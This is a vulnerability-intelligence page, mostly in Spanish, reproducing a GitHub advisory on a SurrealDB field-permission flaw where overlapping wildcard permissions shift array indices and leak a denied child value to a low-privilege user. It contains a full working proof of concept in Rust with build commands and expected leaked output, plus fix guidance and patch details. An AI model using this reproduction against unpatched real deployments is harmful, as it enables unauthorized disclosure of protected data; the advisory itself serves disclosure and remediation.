llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-WJH3-M4PV-Q6CP

Cross-field array-index drift in wildcard field-permission filtering

Parche disponible
Descargar PNG JSON
CVSS 3.1
4.3
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición17 dDesde la divulgación, 3 nov 2026, 10:51 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Ni fuego ni humo: solo una tarea pendiente.Si tu inventario está al día, ya ganaste.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.0.0
Monitoreo
Detectada +1
3 nov 26
20 nov 26
21 nov 26
3 nov 26
8 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-WJH3-M4PV-Q6CP divulgada · CVSS 4.3 (GitHub)
Remediación Parche 4.0.0 surrealdb · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Cross-field array-index drift in wildcard field-permission filtering

Summary

At revision `18971ffba781a796c0ad3897bb4b82432c241e4c`, `filter_fields_by_permission` can disclose a child field that its `SELECT` permission denied when an earlier overlapping wildcard permission removes array elements. The function expands every permission path from one immutable pre-filter snapshot but applies each denial immediately to a mutable result. An authenticated low-privilege record user can therefore receive a denied value from a surviving element after an ancestor permission compacts the array and invalidates the concrete indices used by a later child permission.

Technical Details

The affected function is `surrealdb_core::exec::operators::scan::pipeline::filter_fields_by_permission` in `surrealdb/core/src/exec/operators/scan/pipeline.rs`, lines 942–990 at the tested revision. The shipped query path is `Datastore::execute` (`surrealdb/core/src/kvs/ds.rs`, lines 3437–3468), `process_plan_inner` (`ds.rs`, lines 3870–3918), `Executor::execute_plan` (`surrealdb/core/src/dbs/executor.rs`, lines 1688–1718), `filter_and_process_batch` (`pipeline.rs`, lines 390–450), and then `filter_fields_by_permission`. `filter_and_process_batch` invokes the affected function before evaluating the `WHERE` predicate when permission checking is enabled.

The implementation deliberately snapshots the row once so that predicates and wildcard expansion observe the original document, while denied paths are removed immediately from the mutable result:

let mut snapshot: Option<Value> = None;
for (idiom, perm) in state.field_permissions.iter() {
    // ...
    PhysicalPermission::Conditional(_) => {
        let original = snapshot.get_or_insert_with(|| value.clone());
        for path in original.each(&idiom.0).into_iter().rev() {
            let field_value = original.pick(&path.0);
            let allowed =
                check_permission_for_value(perm, original, Some(&field_value), ctx).await?;
            if !allowed {
                value.cut(&path.0);
            }
        }
    }
}

Reverse iteration preserves indices while processing multiple removals for one wildcard field. It does not preserve element identity across different overlapping fields. If the ordered permission entries are `items[*]` followed by `items[*].secret`, the first entry can compact `value.items`, while the second entry still expands, picks, and authorizes paths against the original `snapshot.items`. The later concrete path is then cut from the already-compacted mutable array.

The decisive input contains four elements: `[{n:0,secret:"s0"},{n:1,secret:"s1"},{n:2,secret:"s2"},{n:3,secret:"s3"}]`. The parent permission retains only even `n`, producing mutable elements `n=0` and `n=2`. The child permission permits only the original value `s1`. When the child loop reaches original index 1, it sees allowed value `s1` and does not cut mutable index 1, but mutable index 1 is now the `n=2` element containing denied value `s2`. The result is `[(0, None), (2, Some("s2"))]`; the required result is `[(0, None), (2, None)]`.

The violated invariant is: every denied concrete field value must be removed from a record-user `SELECT` result while preserving the identity of each array element across overlapping field permissions. This is unintended authorization behavior because the permission boundary promises to remove denied fields before returning the row, and the repository's regression coverage for issue #7356 explicitly requires array-element permissions to filter elements by identity.

Preconditions are an authenticated record user, a readable row containing an array, two overlapping wildcard field permissions processed parent first and child second, and a parent predicate that removes enough elements to shift a survivor into an index whose original child value was allowed. No administrator capability, malformed input, race, or memory corruption is required.

PoV

The exact-function proof represents these ordered field permissions and row:

items[*]        => allow only elements whose n is even
items[*].secret => allow only the value "s1"

items = [
  { n: 0, secret: "s0" },
  { n: 1, secret: "s1" },
  { n: 2, secret: "s2" },
  { n: 3, secret: "s3" },
]

The parent filter should retain `n=0` and `n=2`, and the child filter should remove both surviving secrets because neither equals `s1`. Instead, array compaction moves `n=2` to index 1, where the later child decision was made against original `s1`; `s2` remains visible. The negative control changes only the parent condition to allow all elements. With no compaction, concrete indices remain stable and only `s1` remains visible.

PoC

The original proof compiles the exact `filter_fields_by_permission` function body from the tested revision with minimal implementations of the `Value::each`, `Value::pick`, `Value::cut`, and permission-expression interfaces needed to isolate the cross-field index transition. It remains a focused unit reproduction. The supplemental proof below enters the shipped `Datastore::execute` API with an authenticated record session and exercises the same production permission path at the pinned revision.

Save the two Rust listings in the Appendix as `permission_harness_prefix.rs` and `permission_harness_suffix.rs`. Point `repo` at a SurrealDB checkout of the exact tested revision, then execute:

repo=/absolute/path/to/surrealdb
git -C "$repo" rev-parse HEAD

poc_work=$(mktemp -d)
cp permission_harness_prefix.rs "$poc_work/poc.rs"
sed -n '/^pub(crate) async fn filter_fields_by_permission(/,/^}$/p' "$repo/surrealdb/core/src/exec/operators/scan/pipeline.rs" >>"$poc_work/poc.rs"
sed -n '1,$p' permission_harness_suffix.rs >>"$poc_work/poc.rs"
rustc --edition=2024 -C debuginfo=0 "$poc_work/poc.rs" -o "$poc_work/poc"

"$poc_work/poc" main
"$poc_work/poc" control

The revision check and observed output are:

18971ffba781a796c0ad3897bb4b82432c241e4c
VIOLATION:shifted-n2-retained-denied-s2
CONTROL:stable-indices-only-allow-s1

The exact-function listing above is the isolated proof. The following independent reproduction uses the shipped datastore API, an authenticated record session, and the same four-element fixture. The setup and harness are included in full so that the output below can be reproduced from the checkout alone.

Supplemental shipped-route reproduction

Check out the tested revision and run the following on a host with Rust 2024 and Cargo. The command leaves the checkout read-only: it creates a temporary harness, links it to the checkout, and builds the harness against that checkout's `surrealdb-core` and `surrealdb-types` crates. The source configures authentication, defines overlapping `items[*]` and `items[*].secret` permissions, opens `Session::for_record` as `record-user`, and calls `Datastore::execute` with the `compute-only` planner strategy.

repo=/absolute/path/to/surrealdb
test "$(git -C "$repo" rev-parse HEAD)" = "18971ffba781a796c0ad3897bb4b82432c241e4c"
work=$(mktemp -d)
mkdir -p "$work/source" "$work/route/src"
ln -s "$repo" "$work/source/surrealdb"
cp "$repo/Cargo.lock" "$work/route/Cargo.lock"

cat >"$work/route/Cargo.toml" <<'EOF'
[package]
name = "route-proof"
version = "0.1.0"
edition = "2024"
publish = false

[workspace]
members = []

[dependencies]
surrealdb-core = { path = "../source/surrealdb/core", default-features = false, features = ["kv-mem"] }
surrealdb-types = { path = "../source/surrealdb/types" }
tokio = { version = "1.52.0", features = ["macros", "rt-multi-thread"] }

[profile.dev]
debug = 0
incremental = false

[profile.release]
debug = 0
incremental = false
opt-level = 1
EOF

cat >"$work/route/src/main.rs" <<'EOF'
#![recursion_limit = "512"]

use std::env;

use surrealdb_core::dbs::{capabilities::Capabilities, NewPlannerStrategy, Session};
use surrealdb_core::kvs::Datastore;
use surrealdb_types::{RecordId, ToSql, Value};

type BoxError = Box<dyn std::error::Error + Send + Sync>;

async fn run_query(
	ds: &Datastore,
	sql: &str,
	session: &Session,
) -> Result<Vec<surrealdb_core::dbs::QueryResult>, BoxError> {
	Ok(ds.execute(sql, session, None).await?)
}

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() -> Result<(), BoxError> {
	let mode = env::args().nth(1).expect("mode is required");
	assert!(mode == "main" || mode == "control", "unknown mode: {mode}");

	let ds = Datastore::builder()
		.with_capabilities(Capabilities::all())
		.with_auth(true)
		.build_with_path("memory")
		.await?;
	let root = Session::owner();
	run_query(&ds, "DEFINE NS `test`", &root).await?;
	let namespace = root.clone().with_ns("test");
	run_query(&ds, "DEFINE DB `test`", &namespace).await?;
	let owner = namespace.with_db("test");

	let parent_permission = if mode == "main" {
		"PERMISSIONS FOR select WHERE $value.n = 0 OR $value.n = 2"
	} else {
		"PERMISSIONS FOR select WHERE true"
	};
	let setup = format!(
		"DEFINE ACCESS user ON DATABASE TYPE RECORD
			SIGNIN ( SELECT * FROM type::record('person', $id) )
			DURATION FOR TOKEN 1h, FOR SESSION 1h;
		DEFINE TABLE person SCHEMALESS PERMISSIONS FULL;
		DEFINE TABLE nested SCHEMAFULL PERMISSIONS FOR select FULL;
		DEFINE FIELD items ON nested TYPE array<object>;
		DEFINE FIELD OVERWRITE items[*] ON nested TYPE object
			{parent_permission};
		DEFINE FIELD items[*].n ON nested TYPE int;
		DEFINE FIELD items[*].secret ON nested TYPE string
			PERMISSIONS FOR select WHERE $value = 's1';
		CREATE person:guest;
		CREATE nested:one SET items = [
			{{ n: 0, secret: 's0' }},
			{{ n: 1, secret: 's1' }},
			{{ n: 2, secret: 's2' }},
			{{ n: 3, secret: 's3' }}
		];"
	);
	for result in run_query(&ds, &setup, &owner).await? {
		result.output()?;
	}

	let record_user = Session::for_record(
		"test",
		"test",
		"user",
		Value::RecordId(RecordId::new("person", "guest".to_owned())),
	)
	.new_planner_strategy(NewPlannerStrategy::ComputeOnly);
	let mut results = run_query(&ds, "SELECT VALUE items FROM nested:one", &record_user).await?;
	let result = results
		.pop()
		.expect("SELECT VALUE returned no result")
		.output()?;
	let rendered = result.to_sql();
	assert!(!rendered.is_empty(), "record-user SELECT VALUE output was empty");
	println!("AUTH_SESSION:record-user");
	println!("EXECUTION_STRATEGY:compute-only");
	println!("QUERY:SELECT VALUE items FROM nested:one");
	println!("ROUTE_OUTPUT:{rendered}");

	if mode == "main" {
		assert!(
			rendered.contains("n: 2") && rendered.contains("s2"),
			"primary did not retain the shifted denied secret: {rendered}"
		);
		println!("VIOLATION:shipped-record-user-value-select-retained-denied-s2");
	} else {
		assert!(
			rendered.contains("n: 1") && rendered.contains("s1") && !rendered.contains("s0")
				&& !rendered.contains("s2") && !rendered.contains("s3"),
			"negative control did not keep only the explicitly allowed secret: {rendered}"
		);
		println!("CONTROL:shipped-record-user-value-select-stable-indices-only-allow-s1");
	}
	Ok(())
}
EOF

(
	cd "$work/route"
	CARGO_TARGET_DIR="$work/target" CARGO_INCREMENTAL=0 cargo build --locked --release
)
"$work/target/release/route-proof" main
"$work/target/release/route-proof" control

The two invocations print the following combined stdout; the first five lines are `main` and the last five are `control`:

AUTH_SESSION:record-user
EXECUTION_STRATEGY:compute-only
QUERY:SELECT VALUE items FROM nested:one
ROUTE_OUTPUT:[[{ n: 0 }, { n: 2, secret: 's2' }]]
VIOLATION:shipped-record-user-value-select-retained-denied-s2
AUTH_SESSION:record-user
EXECUTION_STRATEGY:compute-only
QUERY:SELECT VALUE items FROM nested:one
ROUTE_OUTPUT:[[{ n: 0 }, { n: 1, secret: 's1' }, { n: 2 }, { n: 3 }]]
CONTROL:shipped-record-user-value-select-stable-indices-only-allow-s1

The primary retains denied `s2` on the surviving `n=2` element, while the control changes only the parent permission to `WHERE true` and exposes only the explicitly allowed `s1`. The assertions in the harness make a mismatch fail the corresponding invocation.

Only revision `18971ffba781a796c0ad3897bb4b82432c241e4c` was tested. No full database integration result, release-version sweep, first-vulnerable version, or patched-version result is claimed.

Impact

This crosses the table/field `SELECT` permission boundary: an authenticated low-privilege record user who can read a row may receive a field value that the schema's child permission denied. Realistic affected users are deployments that store multiple objects in an array and use overlapping parent-element and child-field permissions to expose different subsets to record users. Repeated reads of reachable rows could disclose application secrets or tenant-scoped attributes, depending on the protected schema and data.

The relevant weakness classifications are CWE-863 (Incorrect Authorization) because the returned value violates a field-level authorization decision, and CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) because the demonstrated consequence is disclosure. The supplied vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`, which scores 4.3 Medium under CVSS 3.1: the query can be issued remotely by a low-privilege authenticated user, requires a deterministic schema/data shape rather than a race, needs no user interaction, stays within the same security authority, and demonstrates limited confidentiality loss only. No integrity or availability effect was demonstrated, and the amount and sensitivity of disclosed data depend on the application's schema and readable rows. No separate textual severity is assigned.

Suggested Fix

Evaluate all field permissions against a stable original row, but defer mutation until all authorization decisions have been associated with stable element identities. Apply denied child paths before ancestor element removals, then apply ancestor removals using descending indices within each array. An equivalent design would carry stable element identities rather than raw concrete indices across the permission pass. The critical invariant is that a concrete array index derived from the original row must never be applied to a value whose array has already been compacted by another field permission.

Add regression tests for: a conditional `items[*]` permission followed by conditional `items[*].secret`; the reverse declaration/processing order if supported; multiple parent removals; a survivor shifted onto an originally allowed child index; missing child fields; nested arrays with overlapping wildcard depths; `Deny` and conditional variants; and the no-compaction negative control. Assert both the surviving element identities and every protected child value.

Affected Package/Versions

  • Ecosystem: Rust
  • Package: `surrealdb-core`
  • Vulnerable function: `surrealdb_core::exec::operators::scan::pipeline::filter_fields_by_permission`
  • Tested vulnerable revision: `18971ffba781a796c0ad3897bb4b82432c241e4c`
  • Affected range basis: exact tested revision only
  • Patched versions: not established

Revision `18971ffba781a796c0ad3897bb4b82432c241e4c` exhibited the behavior described above. No broader commit range or released package-version range is inferred.

Advisory History

GHSA-8rw6-p7m8-63jp https://github.com/surrealdb/surrealdb/security/advisories/GHSA-8rw6-p7m8-63jp was published June 10, 2026, covers issue #7356, and identifies SurrealDB 3.1.4 as the patched version. Its June 8, 2026 fix commit, `8f89b260bb9692e5b0d58930793d482a8207eedc` https://github.com/surrealdb/surrealdb/commit/8f89b260bb9692e5b0d58930793d482a8207eedc, is titled `fix(sec): stop array element-level SELECT permissions leaking elements (#7356) (#347)`. The regression test explains that one `items[*]` permission expanded ascending indices and removed array elements with `Vec::remove`, causing pending indices within that same field to shift; the correction processes those paths in reverse.

We reviewed the public advisory record and CVE status, searched the issue and pull-request history, and checked the commit history for the regression. The advisory record confirms that GHSA-8rw6-p7m8-63jp has no CVE identifier; the search found no additional same-family issue or pull request (its one lexical match was unrelated); and the fix commit is linked to issue #7356 and pull request #347. The reviewed report history contains no matching prior submission, ready-for-review report, or completed-but-unsubmitted report.

This is an incomplete-fix bypass with a materially different fix invariant. Against GHSA-8rw6-p7m8-63jp, the trust boundary and low-privilege record-user capability are the same, but the prior root cause is forward-removal index drift within one wildcard field, with a one-wildcard precondition and a leaked-element sink, fixed by reversing removals within that field. The behavior here requires two ordered ancestor/child wildcard permissions sharing a pre-filter snapshot: the ancestor compacts the array, then the child applies decisions and concrete indices from that snapshot to the changed array, leaving a denied child value on a surviving element. Per-field reverse iteration cannot preserve element identity across fields, so the correction must preserve identity or defer cuts across the complete field-permission pass.

References

  • `filter_fields_by_permission`, tested revision, lines 942–990 https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/exec/operators/scan/pipeline.rs#L942-L990
  • `Datastore::execute` and `process_plan_inner`, tested revision https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/kvs/ds.rs#L3437-L3918
  • `filter_and_process_batch`, tested revision, lines 390–450 https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/exec/operators/scan/pipeline.rs#L390-L450
  • `should_check_perms`, tested revision, lines 84–122 https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/surrealdb/core/src/exec/permission.rs#L84-L122
  • Issue #7356 regression test at the tested revision https://github.com/surrealdb/surrealdb/blob/18971ffba781a796c0ad3897bb4b82432c241e4c/language-tests/tests/reproductions/7356_array_element_select_permission_leak.surql
  • Prior issue #7356 security fix commit https://github.com/surrealdb/surrealdb/commit/8f89b260bb9692e5b0d58930793d482a8207eedc

Appendix: `permission_harness_prefix.rs`

use std::collections::BTreeMap;
use std::future::Future;
use std::sync::Arc;
use std::task::{Context, Poll, Wake, Waker};

#[macro_export]
macro_rules! anyhow {
	($($arg:tt)*) => { format!($($arg)*) };
}

mod anyhow {
	pub use crate::anyhow;
}

#[derive(Clone, Debug, PartialEq, Eq)]
enum Part {
	Field(&'static str),
	All,
	Index(usize),
}

#[derive(Clone, Debug, PartialEq, Eq)]
struct Idiom(Vec<Part>);

#[derive(Clone, Debug, PartialEq, Eq)]
enum Value {
	Object(BTreeMap<String, Value>),
	Array(Vec<Value>),
	Number(i64),
	Text(String),
}

impl Value {
	fn each(&self, idiom: &[Part]) -> Vec<Idiom> {
		let Value::Object(root) = self else { return Vec::new() };
		let Some(Value::Array(items)) = root.get("items") else { return Vec::new() };
		match idiom {
			[Part::Field("items"), Part::All] => items
				.iter()
				.enumerate()
				.map(|(index, _)| Idiom(vec![Part::Field("items"), Part::Index(index)]))
				.collect(),
			[Part::Field("items"), Part::All, Part::Field("secret")] => items
				.iter()
				.enumerate()
				.filter(|(_, item)| matches!(item, Value::Object(map) if map.contains_key("secret")))
				.map(|(index, _)| Idiom(vec![Part::Field("items"), Part::Index(index), Part::Field("secret")]))
				.collect(),
			_ => Vec::new(),
		}
	}

	fn pick(&self, path: &[Part]) -> Value {
		let Value::Object(root) = self else { panic!("row is not an object") };
		let Value::Array(items) = root.get("items").expect("items field") else { panic!("items is not an array") };
		let Part::Index(index) = path[1] else { panic!("path index missing") };
		let item = items.get(index).expect("original index exists");
		if path.len() == 2 {
			return item.clone();
		}
		let Value::Object(map) = item else { panic!("item is not an object") };
		map.get("secret").expect("secret field").clone()
	}

	fn cut(&mut self, path: &[Part]) {
		let Value::Object(root) = self else { return };
		let Some(Value::Array(items)) = root.get_mut("items") else { return };
		let Part::Index(index) = path[1] else { return };
		if path.len() == 2 {
			if index < items.len() {
				items.remove(index);
			}
			return;
		}
		if let Some(Value::Object(map)) = items.get_mut(index) {
			map.remove("secret");
		}
	}
}

#[derive(Clone, Debug)]
enum Condition {
	EvenElement,
	AllowAll,
	SecretS1,
}

#[derive(Clone, Debug)]
enum PhysicalPermission {
	Allow,
	Deny,
	Conditional(Condition),
}

struct ExecutionContext;

struct FieldState {
	field_permissions: Vec<(Idiom, PhysicalPermission)>,
}

#[derive(Debug)]
enum ControlFlow {
	Err(String),
	Return(Value),
}

async fn check_permission_for_value(
	permission: &PhysicalPermission,
	_original: &Value,
	field_value: Option<&Value>,
	_ctx: &ExecutionContext,
) -> Result<bool, String> {
	let value = field_value.ok_or_else(|| "missing field value".to_owned())?;
	match permission {
		PhysicalPermission::Allow => Ok(true),
		PhysicalPermission::Deny => Ok(false),
		PhysicalPermission::Conditional(Condition::AllowAll) => Ok(true),
		PhysicalPermission::Conditional(Condition::SecretS1) => {
			Ok(matches!(value, Value::Text(text) if text == "s1"))
		}
		PhysicalPermission::Conditional(Condition::EvenElement) => {
			let Value::Object(map) = value else { return Ok(false) };
			Ok(matches!(map.get("n"), Some(Value::Number(n)) if n % 2 == 0))
		}
	}
}

Appendix: `permission_harness_suffix.rs`

struct NoopWake;

impl Wake for NoopWake {
	fn wake(self: Arc<Self>) {}
}

fn block_on<F: Future>(future: F) -> F::Output {
	let waker = Waker::from(Arc::new(NoopWake));
	let mut context = Context::from_waker(&waker);
	let mut future = std::pin::pin!(future);
	loop {
		match future.as_mut().poll(&mut context) {
			Poll::Ready(output) => return output,
			Poll::Pending => std::thread::yield_now(),
		}
	}
}

fn item(n: i64, secret: &str) -> Value {
	Value::Object(BTreeMap::from([
		("n".to_owned(), Value::Number(n)),
		("secret".to_owned(), Value::Text(secret.to_owned())),
	]))
}

fn row() -> Value {
	Value::Object(BTreeMap::from([(
		"items".to_owned(),
		Value::Array(vec![item(0, "s0"), item(1, "s1"), item(2, "s2"), item(3, "s3")]),
	)]))
}

fn fields(parent: Condition) -> FieldState {
	FieldState {
		field_permissions: vec![
			(
				Idiom(vec![Part::Field("items"), Part::All]),
				PhysicalPermission::Conditional(parent),
			),
			(
				Idiom(vec![Part::Field("items"), Part::All, Part::Field("secret")]),
				PhysicalPermission::Conditional(Condition::SecretS1),
			),
		],
	}
}

fn observed_items(value: &Value) -> Vec<(i64, Option<String>)> {
	let Value::Object(root) = value else { panic!("result is not an object") };
	let Some(Value::Array(items)) = root.get("items") else { panic!("result has no items") };
	items
		.iter()
		.map(|item| {
			let Value::Object(map) = item else { panic!("item is not an object") };
			let Some(Value::Number(n)) = map.get("n") else { panic!("item has no n") };
			let secret = match map.get("secret") {
				Some(Value::Text(text)) => Some(text.clone()),
				None => None,
				_ => panic!("secret is not text"),
			};
			(*n, secret)
		})
		.collect()
}

fn main() {
	let mode = std::env::args().nth(1).expect("missing mode");
	let parent = if mode == "main" { Condition::EvenElement } else { Condition::AllowAll };
	let mut value = row();
	block_on(filter_fields_by_permission(&ExecutionContext, &fields(parent), &mut value))
		.expect("target function returned an error");
	let observed = observed_items(&value);
	if mode == "main" {
		assert_eq!(observed, vec![(0, None), (2, Some("s2".to_owned()))]);
		println!("VIOLATION:shifted-n2-retained-denied-s2");
	} else {
		assert_eq!(
			observed,
			vec![(0, None), (1, Some("s1".to_owned())), (2, None), (3, None)]
		);
		println!("CONTROL:stable-indices-only-allow-s1");
	}
}
Patches

A patch has been created that cuts overlapping array field-permissions by element identity, so a wildcard field permission no longer drifts across array indexes.

  • Version 4.0.0 and later are not affected by this issue.
References
  • SurrealQL Documentation — DEFINE FIELD https://surrealdb.com/docs/surrealql/statements/define/field
  • `fix(sec): cut overlapping array field-permissions by element identity` (commit `fa6643f190`)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb< 4.0.0
4.0.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 4.0.0 0 d 4.0.1 no afectada
Versiones corregidas4.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-wjh3-m4pv-q6cp

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.